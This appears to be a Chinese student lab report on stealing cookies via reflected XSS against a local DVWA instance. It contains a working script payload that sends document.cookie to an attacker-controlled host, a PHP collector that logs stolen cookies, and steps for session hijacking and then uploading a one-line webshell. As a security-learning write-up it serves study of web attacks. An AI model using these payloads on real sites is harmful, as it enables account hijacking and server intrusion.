技术报告:XSS盗取Cookie
文章目录
- 第1章 绪 论
- 1.1 XSS
- 1.1.1 XSS的介绍
- 1.1.2 XSS的种类
- 1.2 Cookie
- 1.2.1 Cookie的介绍
- 1.2.2 Cookie的特性
- 1.2.3 Cookie的功用
- 第2章 相关技术与基础知识简介
- 2.1 基本漏洞测试工具
- 2.2 反射XSS盗取Cookie
- 第3章 漏洞检测实时演示
- 3.1 演示环境
- 3.2 演示步骤
- 3.2.1构建盗取链接
- 3.2.2利用cookie会话劫持
- 3.2.3 上传一句话webshell
- 3.2.4进一步信息读取
- 总 结
第1章 绪 论
1.1 XSS
1.1.1 XSS的介绍
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
1.1.2 XSS的种类
XSS常见的种类有三种:
反射型:经过后端,不经过数据库。
储存型:经过后端,经过数据库。
DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
1.2 Cookie
1.2.1 Cookie的介绍
Cookie是在HTTP协议下,服务器与脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。
1.2.2 Cookie的特性
目前有些Cookie是临时的,有些则是持续的。临时的Cookie只在浏览器上保存一段规定的时间,一旦超过规定时间,该Cookie就会被系统清除。
1.2.3 Cookie的功用
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
Cookie最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进行此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可以在一段时间内在同一家网站的不同网页中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
第2章 相关技术与基础知识简介
2.1 基本漏洞测试工具
1.HTTP代理:是介于浏览器与服务器直接的中间桥梁,可以通过他来截取对应请求以及响应,同时可以查看对应数据包并进行修改。
常用工具:Burpsuite
2.网站爬虫:对测试的web app进行整个网站的爬取测试。
常用工具:ZAP、Burpsuite、Httrack
Python工具:Scrapy
3.web漏洞扫描:针对web技术漏洞扫描。
常用工具:Appscan,AWVS
Python工具:工具W3af
4.目录探测:对web app不链接页面探测。
常用工具:Dirb,wfuzz
5.特定任务:需要自动化探测与利用的步骤很多,某些新技术没有探测工具可以用简单高效的编程来开发安全工具,开发以使用Python开 发安全工具为首选。
2.2 反射XSS盗取Cookie
当发现存在反射型XSS漏洞的站点位置时,可以利用一下链接来盗取Cookie
将链接发送到用户,用户点击即可触发XSS漏洞。同时可以使用URL编码迷惑用户。
Cookie.php代码:
Url?name=<script>document.location=http://ip/cookie.php?cookie=”+document.cookie</script>
将链接发送到用户,用户点击即可触发XSS漏洞。同时可以使用URL编码迷惑用户。
Cookie.php代码:
<?php
$cookie=$_GET[‘cookie’];
file_put_contents(‘cookie.txt’,$cookie);
?>
例:
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name<script>document.location=’http://127.0.0.1/xss_test/cookie.php?cookie=’+document.cookie</script>#
第3章 漏洞检测实时演示
3.1 演示环境
本次演示为Windows10电脑主机以及VM下Windows7虚拟机平台
图3-1主机IP
图3-2主机IP
图3-3虚拟机IP
3.2 演示步骤
3.2.1构建盗取链接
本次实验用DVWA作为被攻击对象,输入DVWA地址同时构建盗取链接
图3-4构建盗取链接
盗取成功后在本地下cookie.txt文件中发现一段内容,说明链接生效
图3-5链接生效
也可以通过将payload直接进行传递,进行重定向图3-6重定向
图3-7成功取得cookie
3.2.2利用cookie会话劫持
使用Burp Suit抓取网站,将cookie.php中的值复制替换到相应位置
图3-8替换为cookie值
运行后,可以看见成功反弹登录界面
图3-9成功反弹登录界面
3.2.3 上传一句话webshell
会话劫持后进入被攻击主页,可以进行一些前端修改,也可以寻找一些上传漏洞进行进一步入侵
图3-10寻找上传点
创建一句话木马
图3-11一句话木马
使用中国菜刀连接对应站点
图3-12连接站点
图3-13连接成功
3.2.4进一步信息读取
用中国菜刀进行信息的深度挖取及敏感操作,如网站扫描,终端命令等
图3-14用户信息
图3-15
总 结
首先我们要了解cookie的工作原理,通过它的短暂记忆性来获取尽可能多的数据。本次实验我并没用详细说明如何发现XSS漏洞,我们可以使用AWVS,AppScan,BurpSuite等工具来进行Wbe的漏洞扫描。除此之外我们还要清楚XSS不仅可以用于盗取cookie,还可以进行篡改网页链接,盗取用户信息等操作,也为我们今后学习XSS过滤培养了一种发散性的思维,从“敌人”的角度来思考问题来对抗敌人往往更加有效。此次XSS盗取cookie实验也告诉了我们一个web入侵的关键点,我们不应该放过任何一个切入点(漏洞),要充分发挥每一个漏洞的作用。比如本次实验,当我们成功盗取cookie后我们并没有止步于此,而且是进一步挖掘,通过盗取cookie获得的权限上传一句话木马一次来获得更高的权限。网络安全的学习是双向思维的,既有攻也有防,也许这正是网络安全的趣味所在,不可以只保持一个思路,只掌握一种技术,只有发散思维,全面学习,才能再一次一次的攻防战斗中感受网络安全的魅力。